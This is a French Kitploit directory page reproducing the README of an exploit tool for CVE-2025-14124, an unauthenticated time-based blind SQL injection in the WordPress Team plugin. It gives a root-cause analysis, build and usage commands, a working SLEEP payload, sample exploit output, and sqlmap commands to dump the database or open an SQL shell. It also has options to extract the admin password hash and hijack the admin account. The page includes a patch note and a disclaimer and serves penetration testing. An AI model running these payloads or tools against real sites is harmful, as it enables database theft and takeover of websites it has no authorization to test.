Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-14124 — Injection SQL non authentifiée (aveugle basée sur le temps) | Kitploit
Outils/GitHubGitHub/hyunchiya/cve-2025-14124
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

Injection SQL non authentifiée (aveugle basée sur le temps)

Voir le dépôt
il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-14124

Plugin WordPress Team - Injection SQL non authentifiée

Auteur : Hyun Chiya


Informations sur la vulnérabilité

ChampValeur
ID CVECVE-2025-14124
PluginWordPress Team Plugin
Versions affectées< 5.0.11
Type de vulnérabilitéInjection SQL non authentifiée (aveugle basée sur le temps)
SévéritéÉlevée

Description

Le plugin WordPress Team ne nettoie et n'échappe pas correctement le paramètre search avant de l'utiliser dans une instruction SQL via une action AJAX disponible pour les utilisateurs non authentifiés, ce qui conduit à une injection SQL.

Analyse de la cause racine

Le code vulnérable se trouve dans app/Controllers/Frontend/Ajax/LoadMore.php :

root@kitploit:~
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Problème : $wpdb->esc_like() n'échappe que les caractères génériques LIKE, PAS les métacaractères d'injection SQL.

Flux d'exploitation

root@kitploit:~
flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Prérequis

  1. La cible a le plugin WordPress Team installé (< 5.0.11)
  2. Une page avec le shortcode [tlpteam] doit exister
  3. Au moins un membre d'équipe doit être créé dans le plugin

Compilation

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

Utilisation

Détection automatique de la page d'équipe

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

Spécifier l'URL de la page d'équipe

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Vérifier uniquement le plugin

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

Délai SLEEP personnalisé

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

Options

Mode d'extraction de données (--dump)

Lors de l'utilisation de --dump, l'outil extraira :

  • Version de la base de données
  • Nom de la base de données actuelle
  • Utilisateur de la base de données
  • Préfixe des tables WordPress
  • Nom d'utilisateur admin
  • Hash du mot de passe admin
  • E-mail admin

Remarque : L'extraction des données est lente en raison de la nature de l'injection SQL aveugle basée sur le temps (~5 à 15 minutes pour une extraction complète).

Mode de détournement admin (--create-admin)

Tente de modifier le mot de passe admin existant via une instruction SQL UPDATE.

⚠️ Important : Ce mode nécessite la prise en charge des requêtes empilées (stacked queries), généralement désactivée dans PHP+MySQL. Si les requêtes empilées ne sont pas prises en charge, utilisez --dump pour extraire les identifiants à la place, ou utilisez sqlmap --sql-shell pour exécuter directement l'UPDATE.

Exemple de sortie

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

Utilisation avec SQLMap

Pour une exploitation avancée, vous pouvez utiliser sqlmap après avoir confirmé la vulnérabilité :

root@kitploit:~
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Correctif

⚠️ IMPORTANT : Mettez à jour le plugin WordPress Team vers la version 5.0.11 ou une version ultérieure, où la vulnérabilité a été corrigée avec un échappement SQL approprié via $wpdb->prepare().

Références

  • Base de données de vulnérabilités WPScan

Avertissement

Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé aux systèmes informatiques est illégal. Utilisez-le de manière responsable.

Auteur

Hyun Chiya

Télécharger l’outil
ArgumentDescription
-uURL WordPress cible (requis)
--page-urlURL de la page contenant le shortcode tlpteam
--delaySecondes de SLEEP pour la détection (défaut : 1)
--dumpExtrait les informations de la base de données et les identifiants admin WordPress
--create-adminTente de détourner le compte admin (nécessite des requêtes empilées)
--admin-userNom d'utilisateur pour le détournement admin (défaut : pwned_admin)
--admin-passMot de passe pour le détournement admin (défaut : Pwned123!)
--check-onlyVérifie uniquement si le plugin est actif
--timeoutDélai d'expiration des requêtes en secondes (défaut : 120)